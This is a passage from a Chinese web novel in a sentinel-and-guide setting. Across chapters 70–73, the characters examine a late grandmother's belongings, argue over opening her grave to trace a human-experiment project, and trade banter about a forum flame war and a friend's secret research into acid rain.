但在芦苇荡里野战太没有仪式感了,怎么能配得上闻璱……不对,甚至连他突然想到这一点,都值得反思。 情绪的异样直观地反应在他的身体上,精神体只会更加毫不掩饰,弓铮皎下意识地要脱离融合态,以免冒犯。 可闻璱却眼疾手快地掐住那只耳朵,还坏心眼地揉了揉,嘴唇几乎贴在上面问:“怎么不让阿咬出来呢?” 他很久没见阿咬了,在城市里有时受限于空间不足、公共场所规定,阿咬并不能像小黑那样常常被放出来,但在乡下就自由些。 但弓铮皎仍然如此,比起以前还不那么相熟的时候,甚至更加严格管控阿咬的出现。 不是生病,就是有“难言之隐”。 闻璱更倾向于后者。 通常情况下,他会尊重弓铮皎的隐私,但是,可以让弓铮皎无地自容又不是真的伤人的秘密除外。 毛耳朵在闻璱指尖颤了颤,闻璱明明没怎么用力,弓铮皎把耳朵从他手指间拔出来的动作却显得如此艰难,大概真正不易的是心里的取舍。 弓铮皎为难道:“它最近很不乖……你知道有时候精神体也不是那么听话。” 闻璱挑了挑眉,瞭然道:“但我觉得,它看到我,一定会很乖。” 他其实完全有数,连人都无法控制住求偶欲成这样了,那阿咬出来,只会更无所顾忌地发春疯。 见弓铮皎还想狡辩,闻璱又道:“天都要黑了,那么晚,我很累,难道我们不骑阿咬回去吗?” 此乃谎言,刚到芦苇荡时闻璱确实有些疲惫,但那是因为一路上一直在调理弓铮皎的感官。单论体能,这几十里路还不够让闻璱累倒。 现在坐下休息了一会不说,刚才还发生了让人格外精神奕奕的事情,不仅弓铮皎一时无法冷静,闻璱也意外地有几分兴致。 他并不打算真的在这里做点什么,不卫生,处理起来也不方便,显得有点太冲动和激进。 更何况,此时此刻的弓铮皎看起来,竟然比他更像个保守派。 一只炸毛的大尾巴从弓铮皎身后冒出来,有点狂躁地卷在闻璱的腰间,尾巴尖甚至试图拍开弓铮皎扣在闻璱后背的那只手,想要取而代之。 果然猫科动物的尾巴都有自己的想法。 弓铮皎可怜巴巴地抬眼:“我就说吧,我真的管不住了,如果现在把它放出来的话……它肯定会冒犯你的。” “哦?”闻璱兴味盎然,“怎么说?” 在弓铮皎心里,自己负责猫的可爱部分,阿咬负责捣乱的比格部分。 但显然,在闻璱眼里,阿咬才是那个乖巧黏人的大猫,弓铮皎在99%时间则完全是个比格,只不过尚在赏味期。 弓铮皎抿了抿唇,眼下口中那一丝微的血味,还是硬着头皮说:“求你了,小鹅,真的。” 他承认闻璱说得对,这么晚了,他肯定不会舍得让闻璱再走回去——所以闻璱可以骑他。 就像在污染区那样,他能背着闻璱走一天一夜都不累,怎么会把这点路放在心上。 但弓铮皎本来以为闻璱一定会借此机会更是一番玩弄,虽然他自己也爽在其中就是了——没想到闻璱就这样点了点头,很温和地说:“那好吧。” 以至于弓铮皎一时间不敢相信自己的耳朵,甚至还有点小失望。 说出去的话泼出去的水,就算现在坐在河边,也不可能捞回来了,弓铮皎只能认命。 依他所愿,回程便是这样,弓铮皎一手拎着蒲筐,一手牵着鹅,背上背着闻璱趁夜回家。 小黑在河里游了一下午,反而显得活力四射,倒是弓铮皎有点回不过味来。 这段路程意外的安宁,弓铮皎没有刻意加快速度,入夜时才堪堪到家。 把小黑、蒲筐、垃圾、弓铮皎挨个归位之后,闻璱进屋洗手,刚好遇到拿着一箱东西下楼的闻母。 闻母道:“按你说的,我把你逄婆婆以前留下的东西都收拾出来了。” 逄婆婆从前住在小镇很偏的位置,离现在的湿地公园更近些,为了带孩子,她本就时常在闻璱家小住。 她去世之后,那地方也被划进保护区,房子虽然还没有被拆迁,但也已经收归国有,她的遗物大多都被转移到了闻璱家。 “谢谢妈妈。”闻璱接过箱子道,“我去跟逄靥星说一声。” 大半天过去了,逄靥星还赖在房间里,就下午抽空出来吃了一顿,被闻璱敲开门时,睡衣的扣子都还没系上。 闻璱把箱子递给他,眉心微蹙:“把衣服穿好。” 逄靥星嘟嘟嚷嚷地用箱子遮住自己裸露的胸口,低头看去却是一怔:“这不是婆婆以前的磁带吗?还有……” “是。”闻璱点点头,“你先拿着,擦擦灰,我去叫弓铮皎过来,有话跟你说。” 他话音刚落,一转头,听力过人的弓铮皎已经还完一身衣服站在房间门口:“来了。” 于是戴上口罩擦灰的多了两个人。 遵逄婆婆遗嘱,她的遗物大多已经被处理,如今这不大的箱子里剩下的,都是些后来陆续被发现的东西。 几盒戏曲磁带,发霉掉粉得厉害,大概率播不了了;几盒光盘,背面氧化生锈,只能靠贴纸依稀判断出是逄靥星小时候爱看的动画片;还有几个断了的玉镯碎片,逄婆婆生前还挺喜欢把玩翡翠,这些残骸被保留着应该是原本打算送去修复,后来一忘就是许多年。 总之,看起来没什么特别的信息。 逄靥星干完活,一头雾水地问:“所以到底是什么话?” 闻璱沉吟片刻,似有若无地看了一眼弓铮皎,这才缓缓将前情娓娓道来。 他把那张照片展示给逄靥星看,惊得逄靥星也是一时失语,但还是问:“可这怎么能代表婆婆是特种人?更何况……更何况说不定只是长得像而已……” 话虽如此,他的语气里也掺了疑惑,显然也并不认为这是仅靠“长得像”就可以解释的。 因为那神态,那笑容,就连稍微屈左腿并脚尖分开的站姿,都和他记忆里的婆婆完全一致。 闻璱就知道逄靥星会这么问。 对逄靥星,他没什么可不能信任的,但他仍然坚定想法——既然弓铮皎已经是被认定的“重要一环”,那闻璱暂且不该暴露自己与弓铮皎有类似的症状。 或许是明哲包身,或者说他自私也好,他只知道自己安全才有可能帮弓铮皎周全,这也是弓铮皎的一再要求。 他看了一眼弓铮皎,接到信号的弓铮皎隐晦地低下头,解开了口中止咬器的扣链。 再抬头时,哨兵宽阔的肩膀上赫然长出一只巨大的、完整的虎头,两颗匕首牙修长而粗壮,带来极强的压迫感。 至少逄靥星被惊得下一秒就召出了自己的精神体。 又是一只身形庞大的北极熊出现在房间里,顿时让整个空间都显得拥挤了几分。 但逄靥星很快回过神来,因为他发现弓铮皎这一次并不是突然召出了精神体,而是……只有一个头。 巨大的虎脑袋几乎和哨兵的肩等宽,这样看起来与其说是吓人,倒不如说是只戴了兽装头套,忘了换装的furry控。 ……就是这兽装头套做得有些太仿真,不够萌化。 直到看到那双兽瞳仍然是星空的蓝紫色,又在下一秒变为琥珀色,逄靥星脸色突然一变。 “你是融合派?!” 70-80 第71章 没有可是。 作为成绩优异能力过硬的现任首席哨兵,逄靥星当然对特种人的“拟态融合”理论有所耳闻,只不过他也与绝大多数哨兵的想法类似,这只是一种理想化的状态。 原因无他,在圣所上学时,逄靥星曾经尝试过,但失败了。 如今看到一个似乎是活生生的融合派出现在眼前,逄靥星有种三观都被洗刷般的震撼。 见逄靥星开始接受现实,弓铮皎收回了部分融合,变为只有虎耳的简单融合态。 闻璱道:“他能灵活掌控融合的部位、程度,这张照片上的婆婆也是一样。” 他两指放大照片里逄甯的头部,只见白色短发里音乐有两小丛同样雪白的绒毛。 乍一看只会当作有些淩乱的碎发,可如今见了弓铮皎虎耳融合态,逄靥星也立刻看向自己的精神体。 北极熊的耳朵便是如此,小巧、圆润,按比例来算,确实可以隐藏在蓬松的短发间。 逄靥星下意识地喃喃:“可是……” 闻璱:“没有可是。” 不只是耳朵,还有过于乌黑的眼瞳和苍白的皮肤,让照片上的逄甯显得比其他人多了一层高对比度的滤镜一般。 用老照片或许失真未尝不能强行解释,但逄靥星已经动摇了。 因为他记忆里的婆婆分明有一双像自己、像小月一样的浅灰蓝色眼睛,拍照时往往只会显得颜色更浅。 弓铮皎恢复常态,闻璱也不再说话,给逄靥星冷静思索的时间。 半晌,逄靥星终于理清思路,难得正色道:“所以你的意思是,婆婆年轻的时候参与过希冕创辉的某个人造特种人项目,并在项目失败后隐藏身份改名换姓,才来到这里过日子?” “可这说不通啊,照片上的她看起来已经是融合派特种人,如果这张照片是项目结束之后拍的,那项目不是已经成功了吗?就算有两个受试者,好歹也算50%的成功率呢。而且婆婆这么多年从来没有展现过任何……” 他说着说着,脸色变得越来越难看,声音也渐渐小了。 闻璱点头:“我也是这样想的。” 要么项目造成了受试者某方面的缺陷、创伤,导致逄婆婆后来改名换姓,度过了普通人的后半生。 要么——那张照片是项目立项时拍的,而逄甯在项目中,被“剥离”了精神体和属于特种人的一切,甚至包括记忆。 不管是哪一种可能,这件事都必然简单不了了。 想通这个关窍之后,逄靥星再次看向弓铮皎的目光不免变得微妙了许多。 弓铮皎的亲人曾经主导了这个不大合规、甚至可能更不符合人伦道德的项目,而弓铮皎现在又成了继逄甯之后,逄靥星已知的第二个融合派特种人,很难相信这两件事之间毫无关联。 而弓铮皎本人,只是沉默且平静地迎上逄靥星审视的目光,不卑不亢。 闻璱察觉到暗流涌动,肩膀微侧,隐隐作出把弓铮皎护在自己这边的态度。 他沉声道:“这件事不能跟弓铮皎无关。” “我又没要怪他。”逄靥星反驳。 但他心里确实有点不自在就是了。 顿了顿,逄靥星问:“既然如此,我们现在研究婆婆的遗物,是想要从里面找到什么线索?” 闻璱再次点头,又叹了口气:“可惜好像没能发现什么。” “那怎么办?”逄靥星问。 闻璱继续幽幽地看着他。 “……”没缘由地,逄靥星彷佛猜到了他要说什么。 “你不会是还想找和婆婆一起下葬的那些遗物吧……”逄靥星有点艰难地说。 闻璱微微颔首。 逄靥星立刻道:“不行不行,这也太大逆不道了,虽然墓地里只有一小部分骨灰了,但这些不都只是猜测吗?你怎么能为了验证一个猜想就这么大逆不道?” “是为了救……” “没得商量!”逄靥星有点生气了,“闻璱,你跟我说好久没给婆婆扫墓了,没想到你是打得这个算盘?我婆婆生前待你不薄,你就这样回报她?” 这话的份量就有些重了。 闻璱沉默下来,弓铮皎一贯向着闻璱,眉心蹙得死紧,忍不住道:“注意你的言辞。” 然而也只能如此,他知道这话题实在敏感,没有自己置喙的余地,也只想按照闻璱的意愿来办事。 如果闻璱说,现在需要他来硬的,他动起手来不会有一丝犹豫;但如果闻璱打算就此打住,他也不会自作主张。 氛围冷凝了好一会儿,闻璱很轻地叹了一声,说:“好吧。” 蓦地,弓铮皎彷佛知道他要说什么了,有些不忍地咬了咬牙。 “其实刚刚没有告诉你,他的病症恶化得很严重,他快死了,这是为了救命。”闻璱指了指弓铮皎。 逄靥星下意识道:“现在是开玩笑的时候吗?你有毛病啊?” 话音落下,他看着对面两人神色不死作伪,突然回过味来,顿时脸色大变。 他的目光停留在弓铮皎身上,想到眼前的弓铮皎病情竟然已经恶化到了命不久矣的地步,心里难免冒出几分兔死狐悲的惋惜来。 然而闻璱很快又平静地抛下另一颗炸弹:“我也确诊了他的病症。” “……什么?” 这一回,逄靥星彻底失声了。 他愣愣地看着闻璱,几次张嘴,都没能发出任何声音。 “能用的办法已经都用了,现在,我的状态有些改善,但将来会怎么样还不好说,他的情况还要更差。”闻璱继续道,“你觉得我自私自利也好,大逆不道也行,反正只要能找到活下去的办法,我不在乎伤不伤什么根本就不存在的阴德,也……也不在乎会不会因为你,因为怕伤害和你之间的感情就不这么做。” 但这话反而让头脑昏沉的逄靥星如梦方醒,甚至像个打火机扔进火药桶里,彻底激怒了逄靥星。 他一拍桌子道:“你说什么?你觉得你在拿这件事来威胁我?什么感情不感情的,现在是这些问题吗?你……” 逄靥星急促地喘了两声,大脑重获氧气,理智才勉强恢复。 顾忌着闻母还在院子里搭理花草,他还是收敛了音量,转而追问道:“你说改善了,是怎么改善?是有什么特效药吗?不能终身给药控制住吗?……怪不得你那么差钱,没关系,我有钱啊,我把房子卖了去,以后做任务也有的是钱……” 生死关头,而且是最亲近的家人的生死关头,逄靥星甚至把刚才说的遗物的事彻底抛到了脑后。 “不是。”闻璱摇了摇头,把话题重新带回来,“我也不知道,所以,我才这么迫切地想要找到一个准确的答案。” 逄靥星怔怔地看着闻璱,脑袋里一次又一次的回放着刚才闻璱的话。 “能用的办法已经全用了。” 闻璱一贯是个稳重又务实的人,得病了当然会积极治疗,尝试各种可能的治疗手段。 而逄靥星扪心自问,其实并不是那么一个信前世今生、人间地府的人,逄婆婆自己也不是。 可是,故去的亲人已经埋入坟墓,只因为莫须有的猜测就要把坟墓起开,这确实小题大做——除非这对于闻璱来说,真的有切实的必要。 他的心已经自然而然地偏向闻璱了,如果这真的能救命,别说他自己了,就算婆婆真有鬼魂,恐怕也会托梦来同意这件事的吧。 僵持不下间,门外突然传来轻轻的敲门声。 闻母在外面问:“怎么了?我听到星星很大声音,你们吵架了?” 闻璱和逄靥星对视了一眼,逄靥星压着脾气道:“没有。” 弓铮皎起身给闻母开门。 闻母进来只看了一眼,就知道这气氛必然是吵架了,还吵得不轻。 她下意识地看向闻璱,招手道:“小鹅,不是妈妈说你,星星他肯定是有原因的,你过来坐下先听他好好解释一下嘛。” 她还停留在上个版本,以为闻璱是愤怒于自己帮星星一起遮掩,欺骗了小鹅。 逄靥星冷笑一声,真想把闻璱刚才的话全盘托出,但看着闻母关切的脸,那话尽数梗在喉头,一个字也出不来了。 他好像突然明白闻璱的心情,有时越是亲近的人,越难将这份残忍的现实告知。 ……可他心里还是生气,因为这件事居然一直瞒着他,如果不是刚才因为逄婆婆的事情他不松口,恐怕闻璱还会继续瞒下去。 他不知道,弓铮皎却知道。 就算他们是病友,未来可能还会发展成超出朋友的、相伴终生的关系,而且以闻璱的封建程度,那一定是说终生就终生,少一天都不算的那种——可他不也是闻璱二十多年的好朋友、法律意义上的兄弟吗? 逄靥星本想说他们该相互扶持,但自己隐婚的事情又把这件事就这样扯平,让他没了指责闻璱的立场。 最终,逄靥星只是报复性地说:“闻璱说要取婆婆坟里随葬的遗物。” “什么?”闻母果然震惊失声,转头看向闻璱。 这话被如此掐头去尾地说出来,显得闻璱简直是罔顾孝悌、令人发指。 但闻璱偏过头,竟然也不打算解释。 于是,弓铮皎也随他地并不反抗闻母,只是站在闻璱身前,准备替闻璱接住可能挥过来的巴掌。 然而,闻母的下一句却是:“怎么会是你?” 闻璱、弓铮皎、逄靥星异口同声:“什么意思?” 闻母也有些恍然,看着几人道:“你们婆婆去世之前,曾经跟我说过,如果将来有人要查找她的遗物,让我不要阻拦,但一定要先去一趟老宅,有她留给这个人的东西。” 她顿了顿,声音低了许多:“这话听着又不吉利,我一直安慰她说不会有那种事发生,她却说有了才好。这么多年了,除了湿地公园那会子,也没真发生过什么,我几乎要把这件事抛到脑后了。” 真正的惊天之雷姗姗来迟,一时间房间里的四个人都没了声。 闻璱几乎觉得这像是某种“免责声明”一样了,就这样让他有了理由……但逄婆婆为什么会留下这样的遗言? 逄靥星也看着他,本就动摇了八分的心,因这遗言而彻底被连根拔起。 最终,居然是弓铮皎这个外人提醒道:“事不宜迟。” “没错,事不宜迟。”逄靥星跟了一句。 “我跟你们一起去。”闻母忧心忡忡地道。 第72章 被雨淋湿的赏味期大比猫。 翌日一早,几人就带着证明去了保护区办公室那边进行申请。 前些年这种事常有,闻璱和逄靥星早就在工作人员那边混了脸熟,手续要批准不是什么难事,静候几个工作日走程序就行。 于是这几日就成了风暴来临的最后时机——逄靥星对闻璱单方面的。 闻璱当然有所察觉。 刚好勤劳且精力充沛的田螺大猫每天早起就是下地,把闻璱本来可能需要干的活全干了,让闻璱这个丰收季无比清闲。 闻璱就每天早上睡懒觉,下午在院子里乘凉,等待逄靥星来找自己吵架。 没想到逄靥星干脆自闭了,没来找闻璱,竟然选择先去找弓铮皎。 “我问你,”逄靥星沉着脸,“你和闻璱什么时候开始认识的,到底是不是因为论坛上说的那样?” 弓铮皎顺手柄一筐荔枝收纳进箱子里封口,动作不停,脑袋里却警铃大作。 这件事闻璱叮嘱过来着,但现在情况特殊,需不需要灵活变通一下?但这件事闻璱叮嘱过来着! 终于,在左右脑的互搏中,弓铮皎眼神避让,故意露出破绽,再意有所指道:“你指哪方面?” “什么哪方面?全部方面!”逄靥星问,“你和闻璱该不会真的是因为彭枭的事认识的吧?你就住在闻璱工作室楼上,天天变态地偷窥他,直到有一天彭枭去找事的时候,被你看见了。一开始你帮彭枭挂人,后来才擦亮眼睛,只不过你很快就看清了闻璱的真面目,你的转变发生得比大家猜测得要早一些……是不是这样?” 某种程度上来说,他真相了。 但这时间已足够弓铮皎打好一份完整的腹稿。 他瞥了一眼逄靥星,摘下手套,两人一道走去没什么人的阴凉处。 弓铮皎才缓缓开口:“我是在艾斯艾姆酒吧认识的闻璱。” “什么?!!!!!”逄靥星的三观又被打碎了。 当然,他第一反应是:这是污蔑。 逄靥星一把就伸手去抓弓铮皎的领子,恼怒地低声道:“你别胡说八道!我以前怎么没看出你是个这种人?还敢造闻璱黄谣?” 弓铮皎比逄靥星反应更快,一巴掌就拍开了,还震得逄靥星半条胳膊又酸又麻。 “你问这个问题想获得的回答是什么?”弓铮皎的语气古井无波,“你想探究闻璱为什么肯将患病的事情告诉我这个外人,是不是我威逼利诱,或者趁虚而入,才让闻璱对我卸下心防?是不是得病让他那么痛苦,以至于只能在一个陌生人那里寻求一个停泊的港湾?” “我……” “那我只能跟你说,这些全都发生过,威逼利诱、趁虚而入都有,但闻璱全都拒绝了,他没你想像的那么神经质和脆弱。”弓铮皎又道,“他也不会喜欢你拐弯抹角地跟我在这打探,他人就在家里,你应该去和他好好谈,我不会像上次那样帮你了。” 前两天才学会的道理,弓铮皎倒是适应得很快,这就拿出来教育逄靥星了。 逄靥星的气焰陡然灭了下去,张了张嘴,还是忍不住再确认一遍:“……但你刚刚说的,艾斯艾姆酒吧的事……” “嗯。”弓铮皎故作冷静,“始于约炮。” 很好,现在算是任务完全完成了,就是对逄靥星的心理健康可能不太好。 眼见逄靥星失魂落魄地走了,看样子还不打算回家,可能还需要再游荡游荡平复一下心情,弓铮皎连忙抄近道先赶回家。 他到家时,逄靥星果然还没回来,闻璱靠在摇椅上,正在刷终端。 一只大猫轻盈地落进院子里,在鸡鸣犬吠声中,走着优雅的猫步避开了花花草草。 它正要扑到闻璱膝头,却在即将成功的前一刻被赶回精神图景化为泡影。 弓铮皎在摇椅旁边蹲下,解释道:“刚刚逄靥星来问我,我们俩怎么认识的,我按你的要求说了,让他来好好跟你聊。” 闻璱伸出去抚摸大猫下巴未遂的手便转而摸了摸弓铮皎的脸:“好猫。” 弓铮皎笑了一下:“那我能问你个事吗?” “嗯。” “昨天晚上,你有什么顾虑吗?”弓铮皎说,“你一定有很多办法能更委婉地跟他商量这件事,不用吵架也可以达成目的,为什么故意那样说呢?” 他低垂了眼睑,模样看起来有些可怜:“你不开心,我也感觉很难过。” 像被雨淋湿的赏味期大比猫。 闻璱伸手捏了一下他的耳朵,并不否认:“只是有些累了。” “晓之以情,动之以理,还不知道要花费多少精力,不如就这样摊开说明白好了。” 闻璱和逄靥星之间的关系稍微有些复杂。 逄靥星和逄宵月这兄妹俩的抚养权只挂在闻母名下很短的一段时间,但闻母对他们一家三口的关照,始于这之前的很多年。 他们几乎就像真正的一家人,但随着年纪渐长,反而有些若有若无的隔阂出现了。 不只是逄靥星已经结婚导致的,在那之前,闻璱就隐隐有所察觉,这份距离感的源头或许是某种格格不入的愧疚。 不像逄宵月,出生不久就被抱来水盘镇,那时逄婆婆已经几乎融入镇上;逄靥星则是在很年幼时跟随婆婆一起搬来的。 乡下人很难不排外,如果不是闻璱先善意地伸出手,逄靥星很难那么快就和孩子们玩成一团;也是因为孩子玩到了一起,一来二去的,闻母才格外关怀逄婆婆这位老人。 说是互相付出,待之不薄,实际上在每个人的心里份量总是不同。 至少闻璱大概明白,逄靥星结婚却不广而告之的一部分原因,甚至可能是因为自己还没有结婚。 他把闻璱的幸福当成了自己的责任和义务,可闻璱并不需要。 乡下观念传统,闻璱也不是那么容易被影响的人。 而逄靥星明明根本是个城里来的外乡人,有时还是会诡异地钻进这些死胡同里,彷佛这样才能证明他真的融入了。 闻璱能够勉强推理逄靥星的心思,但实在理解不了。 随着年龄增长,他们之间也不再有能像小时候能认真且深入地聊聊真心话地机会。 闻璱叹了一声,总结道:“有时候,我想干脆像你那样发疯算了……更何况,我和逄靥星最近绕的弯子已经够多了。” “啊?”弓铮皎立刻道,“那我现在去跟他找补一下,解释一下我们俩其实……” “不,你做的很好。”闻璱道,“我来终结这些乱七八糟的事。” 弓铮皎:“……” 好的,还是他记忆里那个永远要强永远拿捏别人的闻璱。 “在看什么呢?”弓铮皎问。 乡下的网络不太好,弓铮皎这种重度网瘾患者都被迫戒网,更别说闻璱这种平时就不怎么网上冲浪的老古董了。 “舒颖给我发来了新的报告。”闻璱晃了晃终端,有些无奈,“但是下载得太慢了。” 弓铮皎也顺手拿出终端操作了几下,很有些同仇敌忾地说:“就是!等我回去之后资助你们村建个基站!” 闻璱:“……倒也不至于。” 弓铮皎随口道:“至于,太至于。” 他飞快地打字,神情比百无聊赖地等待下载进度条的闻璱还要认真得多,让闻璱不免有些好奇:“你在做什么?” 闻言,弓铮皎缓缓抬头,有种小学生被逮捕般的心虚,但又夹杂着一丝微妙的喜悦。 “你关心我的社交生活呀。”他说,并在闻璱回答之前,抢先一步把终端递上来展示。 闻璱垂眸一看,顿时陷入久久的失语。 只见一个冠冕堂皇的新帖子,标题是:【不信谣不传谣从我做起】,点进去一看,内容和标题不能说是完全一致,只能说是毫不相干。 弓铮皎善解人意地在旁解释:“网太差了,我登不上大号,小号一天只有五次回帖机会,一条一条回得等到猴年马月去!所以我每天集中开炮。” 大猫骑士为此开了一个新的帖子,专门把在别的吃瓜帖子里冲浪遇到的每个对闻璱出言不逊的ID记下来,在自己的帖子里@出来回覆,这样一条回帖就可以骂好几十个人,效率翻了太多倍。 他甚至跨时空执法,从最早最早用他自己的大号“蒸饺omo”发布的帖子里就开始抓战犯,言语的激烈程度也像滑动变阻器一样,视对方的态度而定。 譬如,相对温和且理性的质疑会收获他高贵的肯定,以及财神爷的小祝福。 【px发的照片好像也不能说明什么啊?他说露出ws脚的那张照片,不就是通用作训靴吗,我家里还有好几双新的呢,还和ws同码,四舍五入我也是ws了呗?好歹放点实在的证据呢。】 大猫骑士:【你真是个火眼金睛的人,不错。通过我的好友申请,我给你发个红包。】 一本正经向着彭枭攻击闻璱的人就会收获他暴风骤雨般的问候,是在绿色文学城发出来就会被口口的那种。 弓铮皎不想让这些乱七八糟的话污染闻璱的眼睛,无论是那些回帖还是他自己的回击 都是如此,伸手滑了几下,让这几层被快速浏览过去。 而其中浑水摸鱼,想要掩饰自己发烧却偷偷藏不住的,大猫骑士专门单开一楼,放了CRUSH日记的链接,@这些人来旁观爱情。 甚至其中还被弓铮皎逮住了一个“熟人”。 “不是我说,镇楼这张照片拍得真不错啊,ws还是那么漂亮,那么贵气,那么高不可攀,几年没见了,一看到这张照片,我又想起在圣所为了加入闻璱小队,而和发小决斗的那些青春时光了。” “卖勾八怎么了?要不是圣所那一夜我输给了发小,今天还未必轮得到px给ws当狗呢!我比px嘴巴严,还比px有容人之态!” 大猫骑士:【别以为我不知道你是谁,狠灭,你不许再对闻璱发烧了。】 闻璱:“……” 好漫长的沉默之后,闻璱有些语言功能紊乱:“没想到你还会骂人。” “当然会了。”弓铮皎反而对这个问题感到迷惑,“不然你以为,我叔叔为什么那么怕我发疯?我从来不打普通人的。” 面面相觑了几秒,闻璱连忙把脑袋里那些弓铮皎泼虎骂街的画面赶出去,脸上没什么表情:“真让我大开眼界。” 放在以前,见他这样,弓铮皎大概会立刻紧张起来,生怕这也成了“不良表现”,影响自己的诚意评估。 但是……但是从芦苇荡边的那个吻之后,似乎有什么变了。 闻璱亲口承认,弓铮皎懂他。 所以此刻,弓铮皎也胆大包天起来,他以迄今为止对闻璱的了解,激进臆测一下——觉得闻璱应该就是单纯的字面意思。 或许,也或多或少夹杂一丝隐晦到连闻璱主观上都未必察觉到的促狭和逗弄。 弓铮皎于是大虎依人地晃了晃闻璱的手臂:“但我以后一定做个最有素质、最嘴甜、最礼貌,生气也只会跺脚脚的好猫。” “……还是免了,恶心心。”闻璱被他说得忍俊不禁,伸手掩去唇边的笑意。 气氛正好,耐不住弓铮皎耳朵灵,听见逄靥星快要回来的动静了。 他连忙回楼上自己屋,打开窗户,打算装作不在地偷听一下这对兄弟间的谈话。 当然,可能主要也是不确定逄靥星的状态如何,会不会再闹得不愉快收场。 过了一会,逄靥星果然一脸沉郁地进了院子,这在他那张一向阳光灿烂的脸上实在罕见。 他本就不自然的表情在看到闻璱之后变得更加不自然,连肢体都不听使唤,像是刚买的四肢还没用习惯。 同手同脚地在不大的院子里兜了几圈,终于兜无可兜之际,逄靥星才终于在闻璱身边坐下。 他深呼吸一口气,才刚要开口,就被闻璱轻飘飘一句话顶了回去: “站远点,挡着我光了。” 逄靥星气不打一处来:“你用终端要什么光?我给你挡光才是对你好!” “那你瞒着我也是对我好?” “你不也瞒着我了吗?” “是。”闻璱缓缓说,“我得病这件事,从各种角度来说,不告诉你确实对你对我都好。” 这话对逄靥星来说简直是火上浇油,但闻璱确实平静:“我的病情不明朗,花钱投资医院课题组,是我个人的行为,性质和赌博的差别真的不大,没必要把你们的存款也都掏空,会让我心里背上道德债——而且,弓铮皎的情况你也看到了,这根本就不是钱的问题。” 逄靥星道:“可是……” “可是如果你真的早些知道了,就一定会真的放弃结婚,中断自己的生活,直到看到我彻底康复、生活完满,但这完全是没必要的付出,不会对我的病情产生任何帮助。”闻璱有些厌烦地捏了捏眉心,“而且,你还会像现在这样,露出这种我最烦的表情,非常不利于我康复。” 逄靥星又怔住了。 彷佛此刻他才意识到,原来对于有些病人而言,说“自己不需要关系、同情、怜悯”,并不是在欲擒故纵地说反话。 闻璱既不需要陪伴,也是真的讨厌这些试图“感同身受”的表达。 通常别人一听病情,都会先入为主地认为,闻璱需要安慰,进而又是劝他不要放弃,又是劝他当然也要接受现实。 逄靥星也在这个“别人”中,并不例外。 但闻璱格外反感这一点。 因为他不会接受这个现实,也不会放弃,不需要任何人来提示。 好半天,逄靥星张了张嘴,声音有些干涩:“好吧。可我现在得知这件事,我心里很难过。” “那你自己调节一下。”闻璱无情道,“现在我才是病人,我的心理健康更重要,难道还要我去安慰你吗?” 第73章 “可以只爱我。” 说开之后,逄靥星真的去自我调节了。 他当晚跟冬歆亭打电话哭了一整夜,他的房间隔音效果还不错,闻璱、闻母都睡得很香,只有弓铮皎咬牙切齿地被迫听完了全部。 翌日天蒙蒙亮,弓铮皎就轻轻敲开了逄靥星的房间门,和那颗彻夜未眠的心灵。 “你……”他还没来得及说什么,就被逄靥星那双哭得通红的肿眼泡惊得彻底失语,把原本的话咽了回去。 “你怎么哭成这样。”他干巴巴地明知故问。 “闻璱呜呜,他怎么可以这么无情,又这么关心我……”逄靥星呜呜着说,“歆亭跟我说,其实以前——不对!” 他的目光一凛,变成两颗肿里藏刀的核桃,试探着刺向弓铮皎:“你是不是已经都听到了?我忘了家里多了一个哨兵!你不能尊重一下别人的隐私吗?” “那你也得尊重下别人的睡眠。”弓铮皎幽幽道,“我听到闻璱房间四点多还有动静,都是因为你,他一个病人迟迟不能进入深度睡眠。” “你太变态了!我要告我哥。”逄靥星震撼。 弓铮皎没应声,心里悄悄道:没你的向导变态。 他旁听通话,一不小心得知了一个惊天大秘密,原来逄靥星以前在圣所什么借杯子、喂能量棒,诸如此类事情发生的那个向导,和逄靥星现在步入法定婚姻关系的向导,都是同一个人。 而且对方为了安慰逄靥星,都不惜在电话里自曝了,逄靥星竟然还没反应过来这件事是不是太过于“巧合”。 逄靥星只是非常感动:原来闻璱曾经那么关心自己,记得每一次和自己相处的向导是谁! 于是,这么一想,弓铮皎也回过味来了。 苦恼于新小队构成的时候,闻璱曾跟他简单聊过上一个小队,可以说是包括逄靥星在内,每一个成员都是闻璱从刚刚入学圣所就在观察的优等生。 其中尤其是冬歆亭,他性格内敛沉稳,各项成绩优秀,先天高精神力级别比闻璱还高,精神体也是罕见的昆虫类,闻璱一早就看中了他。 而那些逄靥星不太放在心上,甚至记不太清的小相处,闻璱全都看在眼里,记在心里。 所以闻璱才会对逄靥星和向导之间的某些稍微越界的行为那么介意,因为冬歆亭是闻璱的理想队员,与其说是逄靥星所以为的“不自爱”的说法,倒不如说,闻璱是不想让逄靥星的轻浮行为给对方带来坏印象,进而影响小队构成。 ……闻璱居然也没觉得这可能是对方的居心叵测。 以至于弓铮皎竟然生出一种莫名的叹息——闻璱和逄靥星不愧是“兄弟”,虽然多数时候都完全不同,但偶尔有时意外且诡异的相似。 依弓铮皎来看,这一夜情的背后都很有可能有说法。 只不过这是别人的家务事,弓铮皎吃一堑长一智,对此决不再多说一个字。 他只是有点矛盾性的羡慕——笨是逄靥星的常态,所以同样阴湿的冬歆亭得手如此轻易;但单纯只是闻璱偶然展露的一小面,他多数时间还是被拿捏在闻璱的股掌之中。 但偏偏他就喜欢闻璱的聪明,在闻璱的五指山里发疯就是爽。 弓铮皎脑袋里又一路奔向了甜蜜CRUSH日记的草稿,面上不自觉地露出微笑,叫逄靥星脊背发冷。 他很装地点了点头,语气也温柔下来,叮嘱道:“以后小点声,不然我打你。” 然后转身离开。 一墙之隔。 闻璱并未入睡,而是已经起床了。 四点多的时候,他收到了舒颖发来的新实验报告,于是开始下载,这进度条一转就是一个多小时。 这份报告内容翔实,下载下来之后,闻璱也确实花了些时间细细阅读,越读越觉得不对劲。 舒颖的猜测太大胆了,但数据似乎也在佐证她的猜测,让闻璱不得不认真对待。 如报告所示,她认为酸雨其实是一种污染生物,只不过处于一个更新的波段,因而无法被特种人观测。 而酸雨带来的一系列抽象的滞涩感、粘稠感,以及可能导致的各类精神力反应,实质上是被该生物的肢体接触,或是该生物的某种分泌物所轻度污染。 很多很多虫:【我需要记录特种人经历酸雨的数据,但是权冽现在怀孕了,我不能和她一起,这件事也不能告诉太多人。】 所以,在舒颖狭窄的社交圈里,就只有原本小队的几个队友可以堪当此大任了。 闻璱谨慎提醒:【课题没有立项,私下收集数据已经是一种灰色地带行为,而且,你昨天不是说,‘酸雨’相关的课题全都被封锁了吗?】 很多很多虫:【对。】 很多很多虫:【所以你拿这段聊天记录来举报的话,我就得离职了。】 闻璱:【……下次不要发给别人。】 